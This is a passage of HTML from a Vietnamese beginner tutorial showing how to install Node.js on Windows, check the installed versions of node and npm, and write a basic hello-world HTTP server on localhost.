url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABwklEQVQY002QT08TQRjGh6QcIKaU1iLBg4lXaouJxvhFjIboTcWwC60oLdGTFyiJ4RuQ6EnZVD8CqamxwfZiCW2xRDS23dmZnSkt7bY7/8wuF5+8eQ5P3t/lB0yzjRAmlBLbhhBaCGGEIITIb0Jsq4Psrm13MT7DkEJ0hknXbhOzN+gBl3Nn6IzcEeOMC+Y3v2ghhJCCSy6UYIIJKVzuOq4zZENn5HDBgTrvKz/9Xp8iShDpYEpxh1jYNKHZggQRgmi/O7CalnPuqP8CRn//1JtHNatW/lUqHBUu7lutWG58xxSXf3rjl8N88biYr+QPTg4qrR9VszpwBx7cQI2p9WA4PR3bjCWy8fnN+bs7d8KZ0OzrK4ftSmI7cf3Ntdtvby1k44nt+I2t2M3sQiQd+npS8OBauzq+HAgkA5cz4WgmEloPzmxExnQwoU2WfpeupufAUzCVDkYz4ehGZPbVzKUXk+Ax2D/e9+BWp6kb2loulTT0VC6p7S3rhv78U2rF0E7x6cvPa/d37y19eJLKra4a2rOPS4vvHjx6/7AO6x7sGWVSMSWZUkJJV/pelRSKM6649MxwqYQUTEpXKum/CW//BxXRZtcRCTTgAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tải Node.js bản LTS sẽ ổn định hơn" title="Tải Node.js bản LTS sẽ ổn định hơn" src="/static/45a51166ef2998da4af1a3dd34ed7ef6/80833/download.png" srcset="/static/45a51166ef2998da4af1a3dd34ed7ef6/103f2/download.png 165w, /static/45a51166ef2998da4af1a3dd34ed7ef6/748ba/download.png 330w, /static/45a51166ef2998da4af1a3dd34ed7ef6/80833/download.png 619w" sizes="(max-width: 619px) 100vw, 619px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Sau khi tải xong, bạn sẽ thu được một file cài đặt (ví dụ: <strong>node-v8.12.0-x64.msi</strong>). Bây giờ, bạn click vào để cài đặt.</p> <p>Một cửa sổ sẽ hiện lên, rồi bạn nhấn vào <strong>Run</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 414px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 75.15151515151516%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC4ElEQVQozz2OS2/rRBiG/ZvZs2PJslWP2gVQqYLDghPRywHaHh2S1I4vY4/Hnkni+9hjJx5fYseXtCoL1BTx6NWnd/Pq+YS7u9vb289/fP7z4eH+t0+Tjz//8sOPlz9dXp5fXJycnJyenp6dnZ2fn19dXU0mk7ubm/u/p/cXp4/ffvPl+++E6XTqB4EfhFEUOY6LMUbIMiBUNU2WFUVRFVVVVQ0AgBAihKzXzooQh9iWoQsAAM9Z28iEEBqGsV47b92ABJNhHJ4Ph+fD4eX57R4OwzgM49APw/D88sKyjUAw5lWD/aQqC8ZYFEWbbZ6k2yTLs7zc8irdlvGmZNvqPWleJZuKVw1jTAh9b/LXlw+/Xg/7FkIT2zaJd19xKa3Lr7h4tDjwKyuqTb+AfmH6hRVw4PIgq7M0FTRNC6OAxkFZlraNPdeBTvoIAgXHMxg+aoHjx3nGurYdh+74c38YunHswzAURFF8fX1t27bv+5QxjJc0CixDx7ZlAs22TNOyZKAHMaNJQiNKI+oHwXbL/xsPw1DXddM0nPM0zTjncZLECaNxQglhhpmZKNEARVYcx4wxSmPOiyAIhMViMY7jbrdrmqZt2/1+37Zt13X7/b4f+vpJTMnSfpLocrmZiwCSmYlFiC2aOq4nLCRpGMd38+7I/2XXNCV8cy5FyddAOpvjtS/bS8kk62Tjep4gSVJEEwA0TAjGBGO8XK6wjS3LXq3Wbd+3CevjZB/Rtiy7vhv6ru+6oe+941jsx394vd9uNpwXRVHmeZHnPM95VZZ1VdVtWx1T73Z1Vb+zaxrHcYSFqifomqqfHC8SRUlTVRtBYiOoa4auGwYEGtABUGRFXiwA0BGyEsaatnVdV5A1c4N+T+H1youfZrO5bD6o7hz6D4qDsJOlaRiFlFLX88MgjMLIdT3f98fxQCkVbm+uEXYMRDRVVVRFVsBcMZ5kffqmMQxDN02EkHUEwSPGkel0+i+V1/00U+7mcwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nhấn vào Run để bắt đầu" title="Nhấn vào Run để bắt đầu" src="/static/700648fae90441ea1f3e04dd0367a2cb/c6ea4/install-1.png" srcset="/static/700648fae90441ea1f3e04dd0367a2cb/103f2/install-1.png 165w, /static/700648fae90441ea1f3e04dd0367a2cb/748ba/install-1.png 330w, /static/700648fae90441ea1f3e04dd0367a2cb/c6ea4/install-1.png 414w" sizes="(max-width: 414px) 100vw, 414px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bạn nhấn <strong>Next</strong> để tiếp tục:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7klEQVQoz82Sz2/aMBTH83/vtOMOU2Fi66RWmgYUsYmylYrCxOhWOiA0pAwRKOSAkJYFkjg/CIttEjueTNbtsB/tcZ/Dk9+zv3rfZ1s4LOTfnB5Xqm/Lp+V8Mff0eSaVSaUze+nMXmoXnzxL7x/sH7w4yBZevioVSyel8slx9fHD2qMHwgexcTVp98ZtUfnUGbYu5OaF3OyOLnvjH8XeuC1NOtKkK9105dmVPOsNVKk/6YjDlgAAYIzFccx2JIuNt9Y1HZi2767NpWHoBjAtYNqmbhhLQ/vylRAShpFgWRZjLIzCiISUcCgleIshDCBCGCOIIEQwCHjKI98IaEwRQoLjOD8bhmEYRRG7HxhjbtsyzHqzeq1JR7ls4SjneR6E0LIsAGwbAABsk2N5nrf21zaH9+OdDcNwHbclfiyK+fzrbP3szLb5LcAdCEGEELfKXSOMcVJODgjL5TKxsYaeHdh8BBb/23AyIxevVivGGCEk3kEpvXPaX2Jd15Occ1fPv4rZvfkfxIvFglKaPMMf2W75d0ObbziAaLPZYhyGISHE8zxhPp8jhHzf3/yG7/uu4wDXNT+PxEr9slIb15pgpk5UdTadapomSJKkqurNLbMd01sURRkpitIRu+/edxrncuN83O/Lg8HgejAcDr8DF0hytdVXK1AAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nhấn tiếp vào Next để tiếp tục" title="Nhấn tiếp vào Next để tiếp tục" src="/static/8b466773249af50311aa6a933caff046/98235/install-2.png" srcset="/static/8b466773249af50311aa6a933caff046/103f2/install-2.png 165w, /static/8b466773249af50311aa6a933caff046/748ba/install-2.png 330w, /static/8b466773249af50311aa6a933caff046/98235/install-2.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Tiếp theo, bạn nhấn vào checkbox để đồng ý với điều khoản, bản quyền phần mềm, rồi nhấn <strong>Next</strong> để tiếp tục.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC8klEQVQoz1WS208bRxTG/Xf3sS95IaJQhbSRqiRq2kJLnBBCsEMiWkMUpWF9WWrvzM79srO7xd7rrA3Gsqs1UiV+D0eaOfPN+c7MaTx+/rR52DxqHx4cH+y93N158mj78fb2ztbDrY2HWxsb321sfr+58+TRjz/98PzF09+be803r968Ozje/PbowTeNVuftqw9/7Lf3Xn9svmzv/fb2xc+vn+0e/drpnX4adM4Hf531/+z0Ts96p5/czocv7fdfj/dbu63zw8/9TmMynqRJTgnXUiuhBJWMcK2CLMnK3JZZMa1mq9VquVyuVivJxEm/tbv/y/Dyn+Vy2TChuZnPK2uraXWHtbaqqizLrLVFUSRpWtrSWlva8vr6+iq9iibRfD5P0qQhhES+D30IIUQYQwhJDRVCugMXE1IURZZlkzXj8ThJkjRJwzCM47hRn15rMMK+jzDGFBPko0BrbzRCCBd5Xpblne3/iePYGNPwPC9NkrrzNE0mqbU2mdR329LmWZ4m6V21Za1eLhaL+fx2tVqVZRlFUQMAEBojGJdSBUphhAUXgotAB0oozrhWWgnJKCOECC60VNX6ecIwrG1rrSEAUkglBUKYU84ZhwBQQnG9ZNCDd5sEk5t7lSFQUhJE6jRlUkjBOCVUCqm1llwwxjirlVoHYDiy1t6zzRjzAZRc+h6kmEohCKaSC+T7jDJOOSMEISxr83w2m93vOQgCpbXSoTFhGAXaxFEsudBKR1GkpSKYmMCExiipOBe3t7d5ntdiv9sL2h/B1wtEKfYxpQQT4vs+QsjzQBiG66Gx5XRaTqs6lmWWZXlR1GLouv9eOHQ04lJyzoUUQkillOCCURpFUZbnV9qMAZwA/wqi8Xicpmme5/U/U8ZuFotqNp1Oq+maOI49DxhjsjwTQgwB0Bfd/sD70rtkXXdizMgDEPpBEDQcx6knDAC4BiE0HA4dx3Fd1/O8fq9/0XUuz87/Pj75/O59r3UydC8dx+l2e4PB4D9qqz8oYkEr0wAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Đồng ý điều khoản và tiếp tục" title="Đồng ý điều khoản và tiếp tục" src="/static/f6cdab2a7686f19eb615db9341416e98/98235/install-3.png" srcset="/static/f6cdab2a7686f19eb615db9341416e98/103f2/install-3.png 165w, /static/f6cdab2a7686f19eb615db9341416e98/748ba/install-3.png 330w, /static/f6cdab2a7686f19eb615db9341416e98/98235/install-3.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Sau đó là lựa chọn thư mục cài đặt Node.js. Nếu không có gì đặc biệt (ví dụ như ổ C bị đầy) thì bạn cứ để mặc định, rồi nhấn Next để tiếp tục.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJ0lEQVQoz5WRW0/bMBSA87f3xCbQQNoktAeYxsMQ0tCAVeVWoDdR1rEbkKSFFZo6l5I2JU2C7WM7JPShnZpWbNMQY5+OrCNb3zk+tvR6aXE9k97JZjb3ttbSq/MLc9Mvnj+dmng2NTE1MznzcvrV3Oz8wtzC2zdL7xbX0qvprfWt3c3s7OTO9BMpe5BJ5Vc+ZFfShdT7zPL2wUZZLZVOih+V/bK6X1ZLSVIqq6XPp+Xi91z+aDeVXc0dbn+plKXADxgFA5lXjmtbtuf6vbjHWRiFNxxEFEaDhH6/PxgMbOuyUNlbSS3Xzmr9fl/qXHV6vZ4IRXgTCsEBgFJK6BBCCAUqQjEKLngcxz7xXeze3t5igiXbtpvN5vn5BUKo1WrT30jqDEvcgTFO9oFQ4nmepOs6BfB9P/ADQijnnD7IqAoAdLvdoex7nm1ftlsty2oahuF5HsbXDxAEwZ1s1E37q1Kt1I2m3e60Hc5FHMfRg3DOXdeVDMM4s1r7R+q3c93DJBT8jynvA2M87owQim5CxhgDGGn0EYzlRqMhhMAYP84avxkADK89kv/RkJBf8V/y8Igxyvl4BSCEMMaGsqZpABAEwb2/QjCmANhxKELMMAnSrz2PJDN3Oh3JNM0oihhj/C8AwLKatbrmHp9YaqWmqN1KNWigC4Q0TXMcR1Jk2TTNer2uJSCEdF1HCZqmqap6LMs/Ph2e5gpKLl8rFmuyfCLLiqJUq9WfT71SbKAvjcAAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Lựa chọn thư mục cài đặt Node.js rồi tiếp tục." title="Lựa chọn thư mục cài đặt Node.js rồi tiếp tục." src="/static/585169f4faf47bd9f1b024ddefd2ef09/98235/install-4.png" srcset="/static/585169f4faf47bd9f1b024ddefd2ef09/103f2/install-4.png 165w, /static/585169f4faf47bd9f1b024ddefd2ef09/748ba/install-4.png 330w, /static/585169f4faf47bd9f1b024ddefd2ef09/98235/install-4.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bước này, Node.js sẽ cho phép bạn tùy chỉnh phần cài đặt. Tuy nhiên, bạn cứ để mặc định thôi. Sau này muốn thay đổi gì thì tính sau.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC+ElEQVQoz02S60/rNhjG83fvy3Z0OANNR9qRDtKGpk3ah009Wym3DsqAQgsMupDQpm2axGmclFydOL409CZop6Q70362rMfW+9h+7Vf47uefKkeVau3o4OSwVP714/cft95vvnn75ZuNrza2Nr7+5t3W+80P2x+2d7Z3ftz5tFuqHO0dHh+efPu2uvmFcNo83r8o752Xf6+Vjq+rN51GQ6pfSRcNqd6UL6/bV7mW6w25fv14dd46/fPvk3Lt0+nN0V27KWCMGWGOPfJGbozwbDIbM85pNsmmY5ZRTFcFy+VytVqNLOfssVba/aXf6y+XS8EP/Ml0wjh/fs4454SxlNKUUsYZY4wy+jx5znvBfD5HJA5xMJ/PU5IKT+6T7/mGbgBg2jZ8gsA2dQcODQAGgwGEUNO0gabpmqFreq/Xwwke8zEhBCEkmKZJKfU833Nd03Yf9FDUQxWGSZJEEUIIYYyTBKdpGhdgjHGacs6jKBIAAIQQxseS2DpuSD9cjrZrZuXWwkny8vI6nU4dZ9RqiYqiAGAaBjAMYFmQcx6GoQCASRmbz+c3t7d3f90Muh1FljS1r2t6FIZBEKI4dl038APO+ZjzcU4+rs2AUjqbzQAAzsghlBHKX15f1488nU7j3Oz5vu/mPDmOM3JGKMpbYWZs/RP/sSxYrVaLxcKy4NnZxf3dfeOq0WxeK0rX83yEUJ6zYRj/mj/7/7/RYrGA0K7XL0VRVDpKu91W1YHreYzxMCquHUUIQghtG9r20LLM4XCtLQjDMIwiNBxanucRQkiapiTFaV4Hec6GYWRZFscxij+TJKiYJkmS5nGU87yGaDamWZYQ6vtBSkgQBIJh6JxzWkAK1tGMsfVJ69UE2hiYiWFGEEYIEUI8zxM0TYvjuNvtmabpFUALypLc76u+7we+r6oDczgc7Vdbvx10/ji3K1XdMHRdz82iKKqq+vAgyfKjoii9Xk9RFFEUJUnudrvdXD+0O4pyUL0r7d6X9x/3DiU5p9Pp/AO7mz8hJmgGRwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tùy chỉnh cài đặt" title="Tùy chỉnh cài đặt" src="/static/56fc40e817235bc0757c88a7aa315af5/98235/install-5.png" srcset="/static/56fc40e817235bc0757c88a7aa315af5/103f2/install-5.png 165w, /static/56fc40e817235bc0757c88a7aa315af5/748ba/install-5.png 330w, /static/56fc40e817235bc0757c88a7aa315af5/98235/install-5.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Sau khi mọi thứ đã hoàn tất, bạn nhấn <strong>Install</strong> để bắt đầu cài đặt</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACG0lEQVQoz7WS3U/aUBiH+2fvbnqBGt2SLdFt3Jgs2WBsQEARAiLgJHyMUyxEkH6sYkvpaU/p6SltES9gKQ2RxZttyZ6cvBe/8z75nYtDvf94nEjHT7Pp1Fkq+i3yLny0/3pvO7S1HdoK7Yd2D3b2DnbfHr45+nAYPg5/jn2Kp+LJk2Tm1cvMzguqcJWr0MUKfVGmL4rNfLaaydeyxWa+1Dovt4pl4F9V2qVLunR1XSnUc/nG2ddsNPc9XWMuKahCQ0ca1JGOlJEykhXLtJbPWCwWy+VSurs/Z3JfEpH+TW+xWFDj8fjxce553myN53mu57qO427gh647f5gbGMEJnD/MTdOkJEkyTVPTNAi1NTqEECGkQajrKIhUVfV3VGggg1gEY6zrOiWK4nB4X63WAKDr9TrDMKAFmo1mh+kAQAPQ5jhOlkcCL4ji3XA4lGXZsgghRNM0ShAEQog6VnWEoF+1AvnDMAxN00wT2yvIGozxk+y6bpDaNtnYCRLbekYgQwh92XEcjLH1xzzJPM//u8xx3P+UMf7t/MWzMbamNnEd4kxX0wlk27Z9mWVZQohhGJNnrHqIIcn6gJsIImJ5JPycICNoHitj/5PMZjPbtqcbOI5jmmb/pidI0iiV6SYzlUgcZAr9WGrSv+3zPDtgFUWhaJoWRZFdwXEcH8Dxg9sBDeh2t3udPm1E49VYoh5Pg1iy96MF2j6dTucXaZdNASv4HjoAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Bắt đầu cài đặt" title="Bắt đầu cài đặt" src="/static/e89fa4e512f4138b26c2da42e1af3281/98235/install-6.png" srcset="/static/e89fa4e512f4138b26c2da42e1af3281/103f2/install-6.png 165w, /static/e89fa4e512f4138b26c2da42e1af3281/748ba/install-6.png 330w, /static/e89fa4e512f4138b26c2da42e1af3281/98235/install-6.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Khi cài đặt xong, bạn nhấn <strong>Finish</strong> để kết thúc.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACDklEQVQoz82S+2vaUBTH83cPVtwLQVk7GKw/jFGmrY5O2Dpmabe62qjR2doaMmMiQxCX101yEx+793rzGjGdsy39fZ8fDuece76cB5fZfrtTOih9/PyhdFDayb3ZermZ3cw8eppKPd5IPdlIZ56ls+nsVub5i+z261f5Yq6wXyi+L37KPCynHzCnzS8XUut7j2sKtXq3ynYq9asqe/mt3q1y/FnrR73Bsw2e5fizdo+7kFrnItcWubZQa3ZZxrKsKIrCMIzWIIgAzVDGiqHqtgk1RYO2AwwAdENTNNu0oyiiC8pYdiymHvV86i8JAt/zPIwxwogQQhYLTDAhmCwIxss0xmEUIowYCOGqM6XU87woinzPI4sEmrByfN+/no6QeGzTAEeV8uWv8718rrCXd10XIWQYwLIsAEzbtiGEcRkwTdOczeaJGCHEAAAc6LCt6rvW7u5+7ujwMFlk/Qq3LpKEsVjTtCQ1Qa792058151oqqoqqq4buqYpiqrGVgmCm2Jd1+MlfT9cEly/R+EaiWDV/3bnv1U3xruPf2JVVe9u9f+LR6NREAQYY3IPC0rJfI4dlziT2C4rKaWu6zLD4RBjPJ1OZ3eYTqcQQtOBoCs0yyds+WuvUpuNxyD+M7YBANPpdIbDoSRJsiwPBoOfSwZLZFnui2JPFMVWu3lcaRxXLk5OJZ7viWK/3xcE4Q8ZA3AcUzIIkgAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Hoàn thành cài đặt" title="Hoàn thành cài đặt" src="/static/66f3096d5dba6b7a15fa74738a323482/98235/install-7.png" srcset="/static/66f3096d5dba6b7a15fa74738a323482/103f2/install-7.png 165w, /static/66f3096d5dba6b7a15fa74738a323482/748ba/install-7.png 330w, /static/66f3096d5dba6b7a15fa74738a323482/98235/install-7.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="kiểm-tra-cài-đặt-thành-công" style="position:relative;"><a href="#ki%E1%BB%83m-tra-c%C3%A0i-%C4%91%E1%BA%B7t-th%C3%A0nh-c%C3%B4ng" aria-label="kiểm tra cài đặt thành công permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra cài đặt thành công</h3> <p>Sau khi đã thực hiện xong các bước trên, bạn cần kiểm tra xem mình đã có thể làm việc bình thường với Node.js hay chưa.</p> <p>Bạn mở <a href="/cac-cau-lenh-thuong-dung-tren-cmd-windows/">CMD</a> trên Windows lên rồi gõ các câu lệnh sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">node</span> -v $ <span class="token function">npm</span> -v</code></pre></div> <p>Nếu kết quả hiển thị như này là thành công:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 40%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8ElEQVQY052OwWqDQBCGx3VPHoRlNT6CBHZnwYfwaAM+RooebZPebBpQLLRqTamKpdA+Rd8tkA1S6KGh3+kfZr6ZgXEcp2kahqF+rsuyLIpi/7C/3+1uN5ssu9lu79br6yRNsyxLkjTP875/e//4/Hp6/O5fIIoid7FwHM45t22bUgoAhmHAiTnMJSHENE0AqLsO4jhmjDmO43keY0w34Ifze5EOr4cDhGFoWRbn3HXds/kXWu66DoIgAABCCFyMltu2PcuUUnIx+sGmaQAR/3/5arXyfV8pJaVUSiGilFIIMZeIKE4goh4TQiyXy6qqjuDkPkbDzaNzAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kiểm tra version node và npm" title="Kiểm tra version node và npm" src="/static/602ee0d83dbc0309fca9639870d31665/7c811/version.png" srcset="/static/602ee0d83dbc0309fca9639870d31665/103f2/version.png 165w, /static/602ee0d83dbc0309fca9639870d31665/748ba/version.png 330w, /static/602ee0d83dbc0309fca9639870d31665/7c811/version.png 660w, /static/602ee0d83dbc0309fca9639870d31665/3c503/version.png 677w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Các câu lệnh trên cho biết: phiên bản Node.js hiện tại là <strong>8.12.0</strong> và phiên bản npm (Node Package Manager) là <strong>6.4.1</strong>.</p> <h2 id="viết-một-server-dạng-hello-world-với-nodejs" style="position:relative;"><a href="#vi%E1%BA%BFt-m%E1%BB%99t-server-d%E1%BA%A1ng-hello-world-v%E1%BB%9Bi-nodejs" aria-label="viết một server dạng hello world với nodejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Viết một server dạng Hello World với Node.js</h2> <h3 id="tạo-file-nguồn" style="position:relative;"><a href="#t%E1%BA%A1o-file-ngu%E1%BB%93n" aria-label="tạo file nguồn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo file nguồn</h3> <p>Đầu tiên bạn cần tạo một file mới với tên là <strong>hello-world.js</strong> bên trong một thư mục bất kỳ.</p> <p>Sau đó, sửa nội dung của file đó như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">hello-world.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> http <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">"http"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> hostname <span class="token operator">=</span> <span class="token string">"localhost"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> port <span class="token operator">=</span> <span class="token number">8000</span><span class="token punctuation">;</span> <span class="token keyword">const</span> server <span class="token operator">=</span> http<span class="token punctuation">.</span><span class="token function">createServer</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">request<span class="token punctuation">,</span> response</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> response<span class="token punctuation">.</span>statusCode <span class="token operator">=</span> <span class="token number">200</span><span class="token punctuation">;</span> response<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Content-Type"</span><span class="token punctuation">,</span> <span class="token string">"text/plain"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> response<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token string">"Hello World!\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> server<span class="token punctuation">.</span><span class="token function">listen</span><span class="token punctuation">(</span>port<span class="token punctuation">,</span> hostname<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Server running at http://</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>hostname<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">:</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>port<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="giải-thích-file-nguồn" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch-file-ngu%E1%BB%93n" aria-label="giải thích file nguồn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 